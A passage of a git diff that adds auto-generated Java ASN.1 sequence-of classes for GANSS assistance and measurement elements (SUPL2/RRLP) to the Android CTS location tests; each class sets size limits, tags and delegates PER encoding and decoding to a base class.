+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGANSSAlmanacElement
+ extends Asn1SequenceOf<GANSSAlmanacElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGANSSAlmanacElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGANSSAlmanacElement() {
+ super();
+ setMinSize(1);
+setMaxSize(36);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGANSSAlmanacElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGANSSAlmanacElement != null) {
+ return ImmutableList.of(TAG_SeqOfGANSSAlmanacElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGANSSAlmanacElement from encoded stream.
+ */
+ public static SeqOfGANSSAlmanacElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGANSSAlmanacElement result = new SeqOfGANSSAlmanacElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGANSSAlmanacElement from encoded stream.
+ */
+ public static SeqOfGANSSAlmanacElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfGANSSAlmanacElement result = new SeqOfGANSSAlmanacElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSAlmanacElement createAndAddValue() {
+ GANSSAlmanacElement value = new GANSSAlmanacElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGANSSAlmanacElement = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSAlmanacElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSGenericAssistDataElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSGenericAssistDataElement.java
new file mode 100755
index 0000000..a1db28f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSGenericAssistDataElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGANSSGenericAssistDataElement
+ extends Asn1SequenceOf<GANSSGenericAssistDataElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGANSSGenericAssistDataElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGANSSGenericAssistDataElement() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGANSSGenericAssistDataElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGANSSGenericAssistDataElement != null) {
+ return ImmutableList.of(TAG_SeqOfGANSSGenericAssistDataElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGANSSGenericAssistDataElement from encoded stream.
+ */
+ public static SeqOfGANSSGenericAssistDataElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGANSSGenericAssistDataElement result = new SeqOfGANSSGenericAssistDataElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGANSSGenericAssistDataElement from encoded stream.
+ */
+ public static SeqOfGANSSGenericAssistDataElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfGANSSGenericAssistDataElement result = new SeqOfGANSSGenericAssistDataElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSGenericAssistDataElement createAndAddValue() {
+ GANSSGenericAssistDataElement value = new GANSSGenericAssistDataElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGANSSGenericAssistDataElement = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSGenericAssistDataElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefMeasurementElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefMeasurementElement.java
new file mode 100755
index 0000000..12cf14a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefMeasurementElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGANSSRefMeasurementElement
+ extends Asn1SequenceOf<GANSSRefMeasurementElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGANSSRefMeasurementElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGANSSRefMeasurementElement() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGANSSRefMeasurementElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGANSSRefMeasurementElement != null) {
+ return ImmutableList.of(TAG_SeqOfGANSSRefMeasurementElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGANSSRefMeasurementElement from encoded stream.
+ */
+ public static SeqOfGANSSRefMeasurementElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGANSSRefMeasurementElement result = new SeqOfGANSSRefMeasurementElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGANSSRefMeasurementElement from encoded stream.
+ */
+ public static SeqOfGANSSRefMeasurementElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfGANSSRefMeasurementElement result = new SeqOfGANSSRefMeasurementElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSRefMeasurementElement createAndAddValue() {
+ GANSSRefMeasurementElement value = new GANSSRefMeasurementElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGANSSRefMeasurementElement = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSRefMeasurementElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefOrbit.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefOrbit.java
new file mode 100755
index 0000000..ef337f4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefOrbit.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGANSSRefOrbit
+ extends Asn1SequenceOf<GANSSReferenceOrbit> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGANSSRefOrbit
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGANSSRefOrbit() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGANSSRefOrbit;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGANSSRefOrbit != null) {
+ return ImmutableList.of(TAG_SeqOfGANSSRefOrbit);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGANSSRefOrbit from encoded stream.
+ */
+ public static SeqOfGANSSRefOrbit fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGANSSRefOrbit result = new SeqOfGANSSRefOrbit();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGANSSRefOrbit from encoded stream.
+ */
+ public static SeqOfGANSSRefOrbit fromPerAligned(byte[] encodedBytes) {
+ SeqOfGANSSRefOrbit result = new SeqOfGANSSRefOrbit();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSReferenceOrbit createAndAddValue() {
+ GANSSReferenceOrbit value = new GANSSReferenceOrbit();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGANSSRefOrbit = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSReferenceOrbit value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSSatelliteElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSSatelliteElement.java
new file mode 100755
index 0000000..0ff0ec2
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSSatelliteElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGANSSSatelliteElement
+ extends Asn1SequenceOf<GANSSSatelliteElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGANSSSatelliteElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGANSSSatelliteElement() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGANSSSatelliteElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGANSSSatelliteElement != null) {
+ return ImmutableList.of(TAG_SeqOfGANSSSatelliteElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGANSSSatelliteElement from encoded stream.
+ */
+ public static SeqOfGANSSSatelliteElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGANSSSatelliteElement result = new SeqOfGANSSSatelliteElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGANSSSatelliteElement from encoded stream.
+ */
+ public static SeqOfGANSSSatelliteElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfGANSSSatelliteElement result = new SeqOfGANSSSatelliteElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSSatelliteElement createAndAddValue() {
+ GANSSSatelliteElement value = new GANSSSatelliteElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGANSSSatelliteElement = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSSatelliteElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSTimeModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSTimeModel.java
new file mode 100755
index 0000000..f7423be
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSTimeModel.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGANSSTimeModel
+ extends Asn1SequenceOf<GANSSTimeModelElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGANSSTimeModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGANSSTimeModel() {
+ super();
+ setMinSize(1);
+setMaxSize(7);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGANSSTimeModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGANSSTimeModel != null) {
+ return ImmutableList.of(TAG_SeqOfGANSSTimeModel);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGANSSTimeModel from encoded stream.
+ */
+ public static SeqOfGANSSTimeModel fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGANSSTimeModel result = new SeqOfGANSSTimeModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGANSSTimeModel from encoded stream.
+ */
+ public static SeqOfGANSSTimeModel fromPerAligned(byte[] encodedBytes) {
+ SeqOfGANSSTimeModel result = new SeqOfGANSSTimeModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSTimeModelElement createAndAddValue() {
+ GANSSTimeModelElement value = new GANSSTimeModelElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGANSSTimeModel = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSTimeModelElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrElement.java
new file mode 100755
index 0000000..a74f6c3
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGANSS_MsrElement
+ extends Asn1SequenceOf<GANSS_MsrElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGANSS_MsrElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGANSS_MsrElement() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGANSS_MsrElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGANSS_MsrElement != null) {
+ return ImmutableList.of(TAG_SeqOfGANSS_MsrElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGANSS_MsrElement from encoded stream.
+ */
+ public static SeqOfGANSS_MsrElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGANSS_MsrElement result = new SeqOfGANSS_MsrElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGANSS_MsrElement from encoded stream.
+ */
+ public static SeqOfGANSS_MsrElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfGANSS_MsrElement result = new SeqOfGANSS_MsrElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSS_MsrElement createAndAddValue() {
+ GANSS_MsrElement value = new GANSS_MsrElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGANSS_MsrElement = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSS_MsrElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrSetElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrSetElement.java
new file mode 100755
index 0000000..6155071
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrSetElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGANSS_MsrSetElement
+ extends Asn1SequenceOf<GANSS_MsrSetElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGANSS_MsrSetElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGANSS_MsrSetElement() {
+ super();
+ setMinSize(1);
+setMaxSize(3);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGANSS_MsrSetElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGANSS_MsrSetElement != null) {
+ return ImmutableList.of(TAG_SeqOfGANSS_MsrSetElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGANSS_MsrSetElement from encoded stream.
+ */
+ public static SeqOfGANSS_MsrSetElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGANSS_MsrSetElement result = new SeqOfGANSS_MsrSetElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGANSS_MsrSetElement from encoded stream.
+ */
+ public static SeqOfGANSS_MsrSetElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfGANSS_MsrSetElement result = new SeqOfGANSS_MsrSetElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSS_MsrSetElement createAndAddValue() {
+ GANSS_MsrSetElement value = new GANSS_MsrSetElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGANSS_MsrSetElement = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSS_MsrSetElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnElement.java
new file mode 100755
index 0000000..9813e6f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
